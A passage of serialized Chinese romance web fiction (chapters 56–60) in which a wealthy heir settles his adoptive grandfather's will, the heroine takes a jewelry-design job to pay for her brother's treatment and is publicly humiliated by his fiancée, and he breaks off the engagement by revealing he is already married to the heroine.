她就气呼呼地跑来找他要说法,“你什么意思,盛珽妄?你这是向全世界宣布,这头像上的两个人,是你生命里最重要的两个人吗?那我呢,我这个跟你订过婚的未婚妻,算什么?算个笑话吗?” 盛珽妄淡睨了夏旖旎一眼。 并不打算解释。 “盛珽妄。”夏旖旎重重地拍着他的办公桌,“你是不是应该给我一个解释?” “你想要什么解释?”他扔下手中的笔,好整以暇地看着她,“什么样的解释,你能满意,你告诉我,我说给你听。” “盛珽妄,你跟我玩混不吝是不是?盛老爷子现在还没有死呢,你想让他被气死,你就直说。我现在就可以过去,把你和温疏亦的事情,告诉他,让他看看,你这个养子是如何报恩的。” 夏旖旎,没有表面上看起来那般柔弱。 相反。 她这个人挺刚的。 不是吃亏的个性。 单纯是有一点,但不蠢,还有点小聪明。 她懂得拿捏和制衡,所以她才选择和盛珽妄订婚。 “我听说你爸最近要退了?”盛珽妄不动声色地说。 夏旖旎转身的步子,蓦地一滞,漂亮的眸子微微眯起,“你什么意思?” “你爸想要安稳地从位子上退下来,你就得安稳一点,明白?” 他给了她一个,你懂得的眼神。 夏旖旎,似懂非懂。 她对父亲的工作不太了解,但她知道,那是一个油水很多的职位。 难不成,盛珽妄有什么把柄? 他明明已经在经商了,为什么对政界和红圈的事情,还能指手画脚? 是她小看了他了吗? 夏旖旎,想先回家问问清楚。 再做打算。 她转身离开。 盛珽妄的眉眼也跟着沉了下去。 张纶拿着一沓文件走了进来。 “三爷,我刚刚查询了温小姐的银行账户,有一笔款项是滨城那边入账的,数额有五六十万的样子,备注是房屋买卖,还有一笔两百万的现金支票承兑,是夏家开出的,您看一眼吧。” 张纶将单据,给了盛珽妄。 他真的快被气笑了。 “张纶,你觉得我值不值二百万?” 张纶眨巴眼,“三爷,您的意思是,温小姐收了二百万,把您给……卖了?” 盛珽妄苦笑。 还行,不算太少。 张纶懂了,“夏小姐挺舍得花钱啊,但以您的身价,这二百万,有点搞笑了。” “她人现在在哪儿?查到了吗?”盛珽妄问。 张纶点头,“去草原了,您要追过去吗?” “不去。” 他只要知道,她带着哆哆去了哪儿就足够了。 张纶收起单据,提到了盛家老爷子,“三爷,盛老爷子昨天晚上送了急诊抢救了,我问过医生了,说是情况不太好,您要不要过去看看?” “医生怎么说?”盛珽妄眉心蹙起。 “说是,这次怕是挺不过去了。” 盛珽妄心口一胀。 盛老爷子将他视如己初的养大。 他对这老爷子是有很深的感情的。 这个时候,盛家人应该都在医院里,盛宗杰还在里面做牢,二房那边,一直觉得老爷子偏心大房,怕是要在老爷子咽气之前,在财产分配的事情占上便宜。 他不愿意当判官。 但老爷子给了他一份遗嘱,就是为了避免在这个时候,闹个不清。 他得出现。 还得主持公道。 “去医院。” 第56章 非要逼成仇人 盛老爷子一生戎马。 当年他是与盛珽妄亲生父亲,是并肩作战的兄弟。 他其实是不愿意死在医院里。 但是儿子媳妇,认为他死在家里晦气,把他从死亡线上又抢救回来。 让他在医院里咽这口气。 盛珽妄的到来,让老爷子混沌的眼睛里,有了一些光明。 大房和二房的人都在。 李舒萍好像是与二房媳妇争执过了,眼眶很红,脸上也透着不甘。 看到盛珽妄过来。 她像是抓住了救命稻草。 哭着诉说自己这些年的委屈。 “我不管,我们家宗杰不在,你们就是不能这么欺负我,凭什么?你当我们家真没人了,是不是?我们家盛励还在呢,珽妄啊,你得为我们做主啊。” 二房媳妇周文月翻了个白眼,“他又不是盛家人,你指望他给你做什么主?大嫂,不是我可怜你,你确实是生了盛家的孙子,但你这个儿子不争气啊,又生不出个一儿半女,咱就退一万步讲,他将来就是能生育,那也是将来的事情,这老爷子不也看不到吗?咱们就在人在份的分家产好了,说那么多没用的干嘛。” 提到盛励不能生育这事。 就像戳了李舒萍的痛筋,要不是还顾着点脸面,她早就上去撕烂周文月的嘴了。 盛珽妄走到老爷子病床前。 人已经意识模糊。 但还是抓住了盛珽妄的手。 “老爷子,你放心,你交代的事情,我会给你办好的,如果觉得累,就闭上眼睛睡一觉,别硬撑着了。” 老爷子一直干瞪着的眼睛。 在盛珽妄的劝说下,缓缓地闭合。 随着机器尖锐地蜂鸣,缓慢跳动的曲线,也变成一条直线。 盛家老爷子过世了。 盛珽妄没废话,让张纶拿出了老爷子生前立下的遗嘱。 宣布后,就将遗嘱交了出去。 大房觉得给得少。 二房觉得更不合理。 两房在医院里吵得不可开交。 失去了体面。 老爷子的葬礼很隆重,钱是盛珽妄出的,场面也是他做的。 但孝子贤孙的名字里,没有他。 不管怎么说,他帮老爷子完成了最后的心愿。 他与盛家的唯一纽带,没了。 日后,盛家是兴是衰,与他再也无关。 …… 从草原玩回来后。 温疏亦又回了趟滨城。 乔深失踪了。 说是带着出去晒太阳的时候,不见的。 温疏亦首先想到的,就是盛珽妄。 “是不是被绑架了?或是……有什么熟悉人做案?”她问医生。 医生觉得有点荒诞,“乔小姐,像他这种病人,走失很正常,没人会绑走一个病人,他坐着轮椅,不会走远的,应该就在附近,你放心,我们一定会找到的。” 温疏亦有心要跟医生争执几句。 又怕耽搁时间。 便一个人躲起来给盛珽妄打了个电话。 “是不是你?” “我什么?”男人指尖的烟,往烟灰缸里轻弹了两下。 温疏亦压抑着,一字一顿地问,“你把乔深又绑走了是不是?你到底想干什么?” “你有什么证据,证明这事是我干的?温疏亦,你告诉我,我绑他的目的是什么?” 在温疏亦看来,盛珽妄在揣着明白装糊涂。 嘴脸。 让温疏亦恶心。 “你说你的目的是什么?不就是逼我回去吗?盛珽妄,我说了,我只是带哆哆出来玩,你何必这么火急火燎的?” 男人轻笑,像是对她这话真实性的嘲弄。 温疏亦情绪难控,“盛珽妄,你真的要逼我跟你成为仇人吗?” “你别自己脑补剧情,行吗?”他将指尖的烟,摁在了手边的烟灰缸里,“温疏亦,想象力太丰富的话,就去写,随便往别人身上栽赃,这是诬蔑,是诽谤,明白?” “你……” 她实在是争不过盛珽妄。 她只想知道,这事到底,是不是他做的。 “乔深,现在在哪儿?” “报警吧温疏亦,警察会帮你找,我哪里会知道。” “你……” 温疏亦真想套用骂盛励的话,垃圾。 挂断手机后。 她还是报了警。 警察调了沿途的监控,看到乔深往西面的方向去了。 人是一个人滑着轮椅走的。 也不是绑架,也不是劫持,就是单纯的走失。 总算是有了点线索。 温疏亦很是担心,但只能,乖乖回去等消息。 想着刚刚冲盛珽妄发的火,她觉得……自己可能是真的误会他了。 三天后。 乔深找回来了。 三年的治疗,并没有对他的病情有太多的进展。 康复中心的水平有限。 温疏亦了解一些,关于他病情的治病方案。 唯一可能带着病情好转的办法,就是开刀。 但是滨城实在没有这种医院,这种医生来做手术。 她认识的医生,只有李江衍。 便给他打了个电话,问他的可行性,“江衍哥,这种手术,你能做吗?” “得带他来,做个详细的检查,疏亦,如果可以做,我一定会尽全力的。”李江衍保证着。 温疏亦的心也落回了肚子里,“太感谢你了江衍哥,这几天我把弟弟带回华城,你帮忙给好好检查一下。” “什么时候回来,我去接你。” “订了票,跟你说。” “好。” 温疏亦更信任李江衍多一些。 盛珽妄知道温疏亦要回华城,给她弟弟做手术的事情,还是从顾临那听到的。 “她找了李江衍,也不想让你帮忙,心里挺苦吧?”顾临幸灾乐祸地笑着。 盛珽妄脸色乌沉地睨了他一眼,“我再苦,能有你苦?叶棠回国了,这次她是带着自己的设计回国开发布会的,开完发布会,人家就结婚了,婚礼地点都选好了。” 顾临的脸,凝滞在唇角。 他真想给盛珽妄一个大嘴巴子,嘴硬着,“她爱嫁谁嫁谁,跟我有什么关系。” “我不好奇她嫁的人是谁?” “不好奇。”顾临准备离开。 被盛珽妄一把抓住胳膊,笑兮兮地说,“是宋复礼,没想到吧,当年追求叶棠中最不起眼的存在,最后要抱得美人归了。” “盛珽妄,你贱不贱啊,跟我说这个干什么?”顾临冲着盛珽妄瞪眼,“她那么牛,为了梦想不要爱情,怎么不坚持住呢?还不是因为她离不了男人,我顾临这辈子就算打光棍,也不会再跟叶棠……” “珽妄哥。” 叶棠一步迈了进来。 她大概也没有想到,顾临会在这儿,四目相对,除了些许的错愕,还有一些久别重逢的……尴尬。 “你们有事聊的话,我一会儿再来。” “没什么重要的事情,大家都是自己人,没什么好避讳的。”盛珽妄笑着将一份人员的资料,递给了叶棠,“这个人,在设计方面挺有天赋的,就是太久没有干老本行了,你还真得费费心带带她。” “她人呢?”叶棠问。 盛珽妄:“得过几天吧,她的手机号我写上面了,你到时联系她,别说我们认识。” 第57章 你对我敌意很大 叶棠笑了。 红唇潋滟。 “还搞这一套?珽妄,你好像变了不少哦,这位女士,是真爱吧?” “霸道总裁,就爱玩救火,托举这一套,可惜啊……人家根本不领情,你还是少帮他做这种,吃力不讨好的事情吧。” 顾临嘲了句,拿起外套,准备离开。 盛珽妄无奈笑笑。 叶棠看到顾临出去,忙追了出去,叫住他,“顾临。” 顾临刚把烟丢到唇上。 看到叶棠过来,又将烟从唇上取下,“有事?” “我们这么多年未见,不请我喝一杯?”叶棠抬腕看了一眼时间,“正好,我今天下午都没什么事情,要不约一下?我请你也行,去我们大学时常去的那间清吧,怎么样?” “不了,我还有手术。”顾临想都没想就拒绝了,“再说了,你都要结婚的人了,跟别的男人喝的什么酒?” 顾临丢下一抹脾气后。 转身离开了。 叶棠眼眸深沉。 当年,是她对不起他,他至今都没有原谅她…… …… 乔深住进了李江衍安排的病房。 手术完的顾临。 路过时,进去看了一眼,“怎么样了?” 看到顾临。 温疏亦就会想到他一定会跟盛珽妄,打自己的小报告,不太爱跟他讲话。 “不劳顾医生费心。” “温疏亦,你对我敌意很大嘛。” 顾临看过乔深的检查报告。 双腿想要站立,是几乎不可能的事情了。 小时候遭到的破坏,太严重。 至于他后天受到影响,精神上出现的问题,做手术能缓解一部分。 但想要跟正常人一样,也十分困难。 “温疏亦,作为医生,李江衍应该跟你讲过,你弟弟的病,治起来很困难,手术只能带来一部分的改善,以后能不能好,好到什么程度,这个得看天意。” 顾临是完全站在医生的角度上,来说这件事情,“手术后,他需要长期服用一种药,一个月的花费近百万,我估计你也用不起,所以……,我劝你还是保守治疗吧。” 温疏亦愣住。 李江衍没有跟她讲这些。 每个月百万? 她确实负担不起。 “不,不吃药不行吗?” “不吃药,脑子就会成一团浆糊,你说行不行?”顾临也不成心打击她,这是事实,有些病,真的不是穷人能治得起的,“手术前,你最好和李江衍再商量一下,当然了,如果有人肯为你付这些钱,另当别论。” 温疏亦失落了。 没人肯给她现这个钱。 她也出不起这个钱。 她恨自己能力太差,负担不起这高昂的医疗费用。 难道,只能保守治疗? 可是乔深保守治疗的效果并不好。 李江衍走进来。 看到温疏亦失魂落魄的样子,关心道,“怎么了?在担心什么?” “刚刚顾医生说,乔深如果手术后,会吃一种很贵的药,来维持他的术后效果,这事是真的吗?” 李江衍也正在为这事犯愁。 如果想要术后效果好,顾临说的那种药是首选。 倒不是说,非要吃一辈子。 一年,是少不了的。 “确实昂贵,但效果也确实是好,起码能恢复智力的百分之八十。” 这对于乔深来说。 是快恢复的办法。 也是最让温疏亦心动的。 但,顾临说的也不是假的。 温疏亦没有这么大的能力,“如果不吃这么贵的药,那他的手术,是不是做了,跟没做是一样的?” “也可以这样说。” “那……” 手术还要做吗? 做了,也吃不起昂贵的药,意义何在呢? 李江衍看出了温疏亦的难处。 他其实很想帮她。 可他也没有什么钱。 况且,这不是什么小钱,那个药,一个月需要花费一百八十万。 保守按一年算,就是两千多万。 看到她这副六神无主的样子,李江衍心里也不好受。 “我帮你想想办法吧。”他说。 温疏亦摇头。 李江衍只是一个医生,他没有钱的。 “江衍哥,这不是小钱,你去哪儿想办法,要不,先保守着治疗吧,等我把钱筹到了,咱们再说下一步手术的事情,这样行吗?” 目前来说,这是没有选择的办法。 “行。” 温疏亦实在是也没有想到,治疗一个病,后续的药物费用,会高达千万。 房子已经卖掉了。 就算加上夏旖旎给的二百万,也是杯水车薪。 她要去哪儿弄这两千万的药费呢。 坐在医院的走廊上。 她失神…… 手机在口袋里震动。 是一个陌生的号码。 她不想接地。 心里太烦了。 手机响个没完,她便找了个安静的角落时接了起来,“喂,你好。” “你是温疏亦吧?”叶棠自报家门,“我叫叶棠,我在一个网站上,看到了你三年前设计一个手镯,非常的喜欢,有意想邀请你加入我们的工作室,不知道你意向如何?” 温疏亦自动把叶棠当成了骗子。 想都没想的就拒绝了,“没意向,谢谢。” “别急着拒绝我,我工作室的名字,你应该听说过,海棠珠宝设计工作室,我们工作室全球招聘顶尖的设计人才,你运气不错,被我看上了,我叫叶棠,是工作室的负责人。” 温疏亦有点傻了。 海棠工作室,她确实听说过。 叶棠的名字,在业内也是叫得很响的存在。 她没觉得自己的设计能力,可以让这样的顶尖工作室看上。 应该是打着海棠工作室的名号,来行骗的。 “你们去骗别人吧。” 温疏亦挂断了手机。 叶棠听着手机里传来的忙音,发笑,“警惕性还蛮强的。” 她又给温疏亦拨了过去。 温疏亦没接。 叶棠便直接发了条信息给她,“工作室的待遇优厚,工作在华城,现在工作室有一个发布会要开,急需人才与我们共同完成,如果你愿意的话,请过来面谈。” 不知道是叶棠的诚恳,打动了温疏亦。 还是她现在非常需要赚钱的工作,来解燃眉之急。 温疏亦去了。 见到叶棠时,她反复跟网上的照片比对,最后确定,这人是真的叶棠。 “不好意思叶总,我把你当骗子了,……还希望你不要见怪。” 叶棠微笑。 细细打量着眼前这个漂亮的女孩子。 气质温婉,手指细长,只是眼底有藏不住的疲惫,令人心疼。 “你应该听说过,我们工作室的待遇,月薪百万的不算稀奇,而且发布会上预订出的珠宝,也有高额的提成,如果你愿意加入我们,并且,可以高质量地完成设计,收入一定很可观。” 温疏亦没有想到,这种好运气会砸到自己的头上。 还真是天无绝人之路。 不管怎么说,叶棠给了她这个机会,她得把握住。 “叶总,这三年来,我没有从事过设计的工作,我真的不确定,是否可以拿出一件好的作品,但我以前在天景集团,做了三年的珠宝设计师,只要你肯相信我,我一定会努力的。” 叶棠点头,“当然,我很期待。” 第58章 气大伤身 要说温疏亦的天赋有多高。 在叶棠看来,差距还是有一些的。 温疏亦有一些科班出身的功底在身上,再加上作品里总是在表达着什么,是她目前手里设计师稀缺的。 要她。 一方面是盛珽妄的安排。 另一方面,她想看看,能不能把温疏亦教出来。 温疏亦刚离开。 叶棠就接到了盛珽妄的电话,“盛总这么急?” “我有一点担心,她很多年没做这个了,上手肯定要慢一些,再加上她弟弟现在治病需要钱,可能显得有一些急躁,你慢慢教她,她可以教出来的。” 叶棠笑了。 她离开这十年,盛珽妄真的变了很多。 是不是顾临也变了? 她眼眸微微黯淡,片刻后,她迅速收回情绪,“你说你何苦来的呢,直接帮她不就好了,怎么?因为夏家?” “不全是。” 叶棠叹息。 男人有时候想太多,就会变得瞻前顾后。 其实,女人更喜欢直给。 “行吧。” 叶棠没再问。 感情的事情,挺复杂的。 盛珽妄给温疏亦打了个电话。 故意问起了乔深的事情,“是觉得我帮不上忙,还是说,你压根不稀罕我的帮助?” “都有。”温疏亦没避讳。 盛珽妄气的呼吸都沉了,“既然回了华城,就搬回家里来住,别让儿子跟着你奔波。” 温疏亦借机提及了,她要工作的事情,“这个机会难得,你不会反对吧?” “不想干保姆了?不给你发薪水吗?” “但我需要更多的薪水……”温疏亦的声音小小的,生怕激怒对面的男人。 盛珽妄近乎冷漠的语气说,“回来再说。” 挂断手机后。 温疏亦眼神迷茫。 又是一次失败的逃跑。 看来,不把她和盛珽妄之间的疙瘩,彻底的解开,她和他永远地纠缠在一起。 可她拿了夏旖旎的二百万。 如今……已经给乔深交了手术费,可怎么办呢? 重新回到江阳大道的小区。 温疏亦窒息。 她窒息都是次要的,她担心哆哆。 开门的是一个年轻的女孩。 戴着副眼镜。 她面容姣好的脸上,是礼貌的笑容,“你好,温小姐,把哆哆给我吧,我来抱。” 温疏亦不知道她是谁。 自然也不会把儿子给她抱,“你是……” “我是盛先生雇的育儿老师,以后我来带哆哆,您放心,我是知名大学师范专业毕业,而且,我们一起过来的有三位老师,一定会把哆哆带好的。” 盛珽妄给哆哆雇了老师? 是防止,以后她不声不响地带着宝宝离开吗? “他睡了,你们小心一点。”温疏亦将宝宝,递给了老师。 盛珽妄在客厅里坐着。 温疏亦有一些理亏地走了过去,“我没有带哆哆跑,我就是带他去玩玩……” 男人掀起好看又锐利的眉眼,看向她。 微压的神色中,有一些讥诮的嘲讽漫上来,“温疏亦,你为什么带哆哆走,我不去计较,我就是想问问你,夏旖旎给你二百万是怎么回事?” 温疏亦:……这个还真不好解释。 解释不了,她就不说话了。 盛珽妄淡淡地睨着她,抿起薄唇,“在你心里,我就值二百万?” “二百万少吗?”温疏亦反问。 盛珽妄气笑,“确实不少。” “盛珽妄。”温疏亦想着要还夏旖旎的那二百万,免得她又得找自己的麻烦,“能不能借我二百万,我还给夏旖旎?” “你把我卖了二百万,我分币没见,你现在又问我要二百万,用来还账?温疏亦,你还要不要脸了?” 温疏亦也不想借啊。 现在乔深在华城治疗。 她又答应了叶棠的工作,跟夏旖旎见面,是迟早的事情。 到时,至少她有话说。 “如果你不想借,就算了,当我没说,我找别人借去。” 温疏亦扭头要走。 盛珽妄抬手扣住了她的手腕,“我借。” “我会还你的。”温疏亦拉开抽屉,拿了纸笔,写了张借条,“不过,你得宽限我几年,我刚找到工作……” 对了。 要跟盛珽妄谈她出去工作的事情。 怎么给忘了。 她抬起眸子,看向盛珽妄,很认真地说,“我电话里跟你提起的,珠宝设计师的工作,待遇还不错,你不会不让我去的吧?” “你答应了?” 温疏亦点头,“嗯。” “这事,提前跟我商量了吗?” 温疏亦摇头。 这事对她来说,也是突然发生的。 “你现在已经找了真正的育儿嫂,哆哆有老师教,我也放心,所以……”她得赚钱,给乔深做手术,这块心病除不了,她一辈子心不安,“……你一定不会阻止我的,对吧?” “你哪来那么多的肯定?” 盛珽妄将温疏亦写好的借条后面加了一条,还不上,以身相许,然后收了起来。 “温疏亦,你怎么那么多的想当然,你跟我的合同还没到期呢,你就想着去外面打工?很缺钱?” “缺。” 她没撒谎。 盛珽妄蹙眉。 “乔深的后续治疗,需要一大笔的费用……”她深呼吸,眼眶泛酸,“……海棠工作室给的薪资很高,如果运气好的话,拿下几订单,还有不少的提成,希望三爷成全。” 空气突然安静了。 如果温疏亦这个时候,提出来,需要盛珽妄的帮忙。 他会毫不犹豫地给她拿两千万。 不会的。 她不会求他。 他也不会用这种方式,来帮她。 “出去工作可以,但必需回来住,我们的合约还在,明白?” 温疏亦没想到盛珽妄这么好说话,一时有一些激动,“哆哆还在,我不可能去外面住的,你也不用担心我们,你好好的跟夏旖旎过日子就行。” 盛珽妄:……过日子? 他认为,需要解释一下,“我和夏旖旎她……” “你们的事情,不用跟我讲。”温疏亦一副她并不在意的模样,“你忙你的,我就先回房了。” 盛珽妄:…… 不行。 他真得解释一下。 要不然,误会叠加误会,真的会没完没了。 他快步追上温疏亦的脚步,在她在关门的时候,伸手挡了一下,“我想跟你讲一下,我和夏家的事情。” “啊?”温疏亦眨眨眼,有点懵,“你和夏家的事情,跟我说不着吧?” “我和夏旖旎虽然订婚了……” 温疏亦抬手,制止了他接下来的话,“……你和夏旖旎既然订婚了,就好好的在一起,她对你还挺喜欢的,你就别辜负她了,我觉得你们挺合适的。” “温疏亦,你……”他生气了,川字纹深得能种地。 温疏亦抬手给他顺了顺气,“气大伤身,三爷,也早点休息吧,我先睡了……” 第59章 我是不是给你脸给太多了 温疏亦没拿盛珽妄的话当回事。 走。 她一定是要走的。 盛珽妄的那只大手,掐在她脖子上的感觉还在。 她忘不了。 只是现在不行。 留下来,只是权宜之计。 温疏亦的适应能力很强。 叶棠亲自带她。 她是有灵性的,工作很少遇到障碍。 发布会的流程中,有一个表演环节。 模特佩戴珠宝走秀,有歌手演唱,也有舞蹈演员表演。 与这些人的沟通工作,叶棠交给了温疏亦。 “今天下午,你去场地跟她们见一面,说一下我们发布会的要求,做好沟通,你可以吗?” 温疏亦点头,信心满满,“没问题,叶总。” 在天景集团的时候。 盛珽妄有意要培养她,她跟在他身边,学了一些本事。 虽然忘得差不多了。 但肌肉的记忆应该还在。 只是令温疏亦没想到的是,她竟然在这种场合上,见到了夏旖旎。 “温疏亦,你不是已经离开华城了吗?为什么,你……”夏旖旎奇怪又震惊,“……你怎么成了海棠工作室的工作人员了?你在骗我吗?” 温疏亦将她请到一旁。 想跟她解释一下,自己没离开的原因。 夏旖旎根本不想听。 她觉得自己成了小丑,被盛珽妄伤害过后,还得被温疏亦伤害。 “既然不离开,又收下我的钱,温疏亦,你是不是和盛珽妄合起伙来,耍我们夏家啊?我们是有什么深仇大恨吗?” 温疏亦摇头,不是这样的。 “你听我说,旖旎,我不是不想离开,因为我的家人生病,我需要给他看病,只有华城的医生可以救他,我才……” “够了。”夏旖旎满眼陌生的看着温疏亦,疏离又带着怨恨,“既然你们不把我放在眼里,那我们以后也没必要给彼此留什么体面,温疏亦,把我的钱还给我。” “哦。” 温疏亦将盛珽妄给她的卡,递给了夏旖旎,“对不起啊旖旎,我真的是遇到难处了,不然的话……” 温疏亦的话还没有说完。 夏旖旎就抬手甩了她一个狠重的耳光。 随着耳膜一阵尖锐的蜂鸣声。 温疏亦眼前一阵重影…… “温疏亦,做贱人呢,也有贱人的讲究和规矩,既然不讲规矩,你以后就做好,见我一次,就被打一次的准备吧。” 夏旖旎手可没软。 这一巴掌打得温疏亦头晕目眩。 这还没算完。 她将周围的人都召集起来,对温疏亦批判。 “这个温疏亦,很不讲究,跟我的未婚夫未婚生子,还拿了我二百万,说要离开,结果呢,又贱巴巴的回来,爬我的未婚夫的床,这种人,要是活在古代,那可是要浸猪笼的,大家都来看看,贱货就是长这样的脸,以后看到这样的脸,都躲着点走……” 现场的人,对温疏亦都指指点点。 她抓起包要离开。 被夏旖旎一把扯了回来,“跑什么?大家还没有看清你长什么样子呢?以为长得漂亮,就可以为所欲为了?天底下的女人,都跟你一个样子,那岂不乱了套了。” “夏旖旎,我说了我有苦衷,你何必这样咄咄逼人?” 温疏亦用力扯回自己的胳膊。 她想收拾自己的狼狈。 刚一抬脸,就被泼了一杯冷掉的奶茶,“我是不是给你脸给太多了?我说了我不介意你们的过去,但我没同意,你这样插在我们的中间,温疏亦,脸是你自己不要的,不是我没给。” 奶茶流进她的眼睛里,刺痛得厉害。 温疏亦闭起了眼。 “夏旖旎,你没完了是不是?” “温疏亦,这才刚刚开始,我告诉你,我可不是什么娇滴滴的小白花,我拿你当朋友,你拿我当猴耍……”夏旖旎攥住温疏亦的头发,恶狠狠地扯着,“……你以为你是什么好东西?” 温疏亦睁不开眼。 视线里只剩一片,被泪水和痛感模糊的暗红。 夏旖旎的冷笑,四周压抑的窃语,还有自己的狼狈。 在这一刻,被放大了无数倍。 她甚至来不及抬手去缓解眼底的刺痛,下一秒,冰凉的黏腻奶茶,便劈头盖脸地浇了下来。 不是一杯,是数杯。 奶茶黏腻的渗透进每一寸肌肤。 各种味道混杂,将她彻底淹没。 “温疏亦,贱货就得有贱货的下场。”夏旖旎的声音很近,带着淬毒的畅快,“你不是最喜欢扮可怜、当绿茶吗?好啊,今天让你一次当个够……这些味道,够你回味了吧?” 更多的液体接踵而至。 不知是谁递来的,混杂着果粒和冰块,一股脑地往她头上、脸上、脖颈里灌。 屈辱和惊惶过去后,温疏亦竟奇异地感到一丝麻木。 她蜷缩着,不再试图用手去挡。 打吧。 骂吧。 就这样吧。 谁让她……是背信弃义的那个人呢。 这是她该得的报应。 “住手!”低沉冷厉的男声骤然响起。 现场。 瞬间寂静。 “夏旖旎,”男人声音里的怒意几乎凝成冰锥,刺向所有的人,“你是不是疯了?” 温疏亦模糊的视线里,出现一双锃亮的皮鞋。 接着,一只有力的大手,将她从地面上搀扶起来。 带着体温和熟悉冷冽香的外套,紧紧裹住了她不断发抖的肩膀。 是盛珽妄。 他将干净的手帕塞进她湿漉漉的掌心,声音温柔:“擦擦眼睛。” 夏旖旎站在那里,脸上的血色褪去。 她嘲弄地盯着盛珽妄扶着温疏亦的那只手,和他眉间毫不掩饰的焦灼与心疼,那是她从未得到过的……真情实感。 既然那么爱。 就别来招惹她啊。 她犯什么天条吗? 要做替死鬼? 被人玩弄的屈辱感,像一把利剑捅进了夏旖旎的胸口中,拧着,搅着。 压在肺腑里的邪火,烧得她五脏六腑都在嘶吼,烧得她……想杀人。 “够了,盛珽妄,我才是你的未婚妻,是你答应爷爷要跟我结婚的,没人逼你,你现在算怎么回事?利用完人,就打算扔掉?你爱她,你跟她结婚啊,为什么要来招惹我?” 夏旖旎很倔强的。 她不想哭。 可是她太难过了。 她第一次喜欢一个男人,这个男人爱着别的女人不说,还利用她。 她到底是有多蠢啊。 “夏旖旎,我们之间的事情,你可以跟我清算,你欺负温疏亦干什么?她一直对你没有敌意,你这样对她,你觉得我会放过你?放过你们夏家?” 第60章 退婚 夏旖旎蓦地笑了。 她冷冷地看着面前的男人,一副视死如归的模样,“不放过能怎样?杀了我?有本事你现在就杀了我,杀了我啊……” “……盛珽妄,你以为你只手遮天了是不是?有军功在身上了不起啊,你问问红圈里的人,哪家没有军功?你吓唬谁呢。” 夏旖旎明面上看,是胜利者。 其实,她比任何人输得都惨。 气呼呼的离开后。 盛珽妄也带着温疏亦回了家。 “去,洗个澡,什么也不要想,一切有我。” 温疏亦不想说话。 她黯然走进了浴室。 将自己身上被弄脏的衣服,脱下来,丢进了脏衣筐里。 盛珽妄出门。 亲自上门找夏老爷子,谈了退婚的事情。 夏旖旎没想到,盛珽妄的动作这么快,面子没了,里子也没了。 “爷爷,他退婚,那我以后还能做人吗?咱们夏家,不被人戳着脊梁骨笑话啊?这事,我不同意。” 夏老爷子的脸色也很难看。 当初,他可没有逼盛珽妄。 他只是希望两个年轻人能走到一起。 盛珽妄提出来的订婚。 现在,又提出来退婚。 没有可以说服他的理由,他也不会给这个面子。 “是旖旎不懂事,做了什么不可饶恕的事情吗?” 盛珽妄沉眸。 “老爷子,是我的原因,我可以补偿。” “补偿?”夏旖旎像听了个笑话,小脸冷得像冰碴儿,“你能补偿什么?还你觉得,我们夏家,随随便便就打发了?盛珽妄,你以为你有两个臭钱了不起啊?我告诉你,我们夏家是有骨气的,休想用钱打发。” 夏老爷子的意思。 与夏旖旎差不多。 人要讲契约,婚姻是大事,岂能如此儿戏。 “珽妄,旖旎是真心的喜欢你,你是有别的喜欢的人了,觉得旖旎不好,还是……” “我结婚了。” 此话一出。 在场所有的人都震惊到嘴巴张大,瞳仁收紧。 “盛珽妄,想跟我退婚,连这种理由都……” 没等夏旖旎说完,盛珽妄就掏出了结婚证。 他亲自交给了夏老爷子看,“我没有骗您,我已经结婚了,不可能再娶夏小姐了,希望老爷子成全,我将尽我所能,补偿你们夏家。” “什么结婚证?” 夏旖旎将盛珽妄结婚证抢过来。 看都没看,直接撕碎了。 “盛珽妄,你还是不是个男人,假结婚证这种东西,你也拿来骗人……”夏旖旎实在受不了这样的侮辱,人一下就崩溃了,哭得扑进夏老爷子的怀里,“……爷爷,以后我还怎么做人啊,大家怎么看我?谁还会娶我啊?爷爷……” 孙女把爷爷的心都哭碎了。 夏老爷子不知道结婚证是真是假。 如果是真的。 他再强行不解除婚约,是给自己难堪,让夏家变得更不值钱。 “盛珽妄,你到底娶了谁?” “温疏亦,我和温疏亦结婚了。”他坦言。 夏旖旎的哭声,戛然止住。 盛珽妄和温疏亦结婚了? 那温疏亦为什么答应她要离开? 难道,真是这一公一母地给他们夏家做局? “爷爷,如果他真的和温疏亦结婚了,盛夏两家的婚约,从一开始就是他做的局,爷爷,这跟扬起巴掌来打您的脸,有什么区别啊……” 夏老爷子的脸彻底黑了。 他可以接受退婚,但绝不接受,一开始就被玩弄。 “盛珽妄,你说,你是不是一开始就已经计划好了,要退婚?还是说,你跟旖旎订婚的时候,你已经结婚了?” 盛珽妄沉默了。 过多的解释,在他看来没什么用。 他让张纶拿来了一份地契,交给了夏老爷子,“您看一眼,如果觉得可以的话,您就可以留下来,算是我对你们夏家的补偿。” 张纶亲自将地契交给了夏老爷子。 夏老爷子看到上面的地址,眼都亮了。 “这是……” 夏旖旎晃着爷爷的胳膊,“爷爷,你别答应他,有钱也压不弯我们夏家人的脊梁。” 夏老爷子眼睛里,明显有了激动之色。 他指尖颤抖着,问向盛珽妄,“这块地,就是我们夏家……” “是的。” “盛珽妄,你这样的手笔,让我想拒绝都难。”夏老爷子余生的梦想,被盛珽妄给满足了。 一场婚约,换来了祖宅可以重建。 而且地皮,比当年他原址的还要大很多。 夏老爷子心动了,疯狂的那种,“其实,退婚的事情,也不是不可以商量的。” “爷爷……” 夏旖旎,没想到爷爷这次竟然这么没有原则,“我还是不是你的亲孙女了,他这样欺负我,你也准了吗?爷爷,你真的太让我失望了……” 夏老爷子对着家里的下人说,“先带孙小姐回房去休息。” “爷爷……” 夏旖旎被强行带离。 出门前,她恨恨地瞪了盛珽妄一眼。 反正,这事,在她这儿,可没完。 夏老爷子请盛珽妄入座,“珽妄,你既然拿出这么大的诚意,我这个当长辈的,再多多逼人,显得就没有风度了。” “是我不对在先,您要实在气不过,打我两下,我也没有意见。” 几个亿的地皮送上。 夏老爷子的嘴,快绷不住了,怎么还会打人。 “咱们夏家,也不是不讲道理的人,既然你已经有了爱的人,也结婚了,再强求也没有任何意义,你和旖旎的婚约,就算解除吧,我同意了。” 夏老爷子比盛珽妄想象,还要好说话。 盛珽妄起身道谢,“谢谢老爷子,以后有用得上珽妄的,不用客气,我一切竭尽所能。” “好说好说,一会儿留下来吃饭。” “不了,老爷子,我有一些别的事情,需要处理,就先回去了,手续我会让张纶办好,过来交给您,您放心就好。” 夏老爷子满意地点头,“放心,放心。” 离开夏家。 盛珽妄的一块心病,终于是了结了。 回到家后。 温疏亦还在浴室里洗澡。 他敲了敲门,担心,“没事吧?” “没事,我想多泡一会儿。”温疏亦的声音平常,没有异样。 盛珽妄的心放下来。 手握着门把手,轻轻一转,走进了浴室。 浴室很大。 热气氤氲。 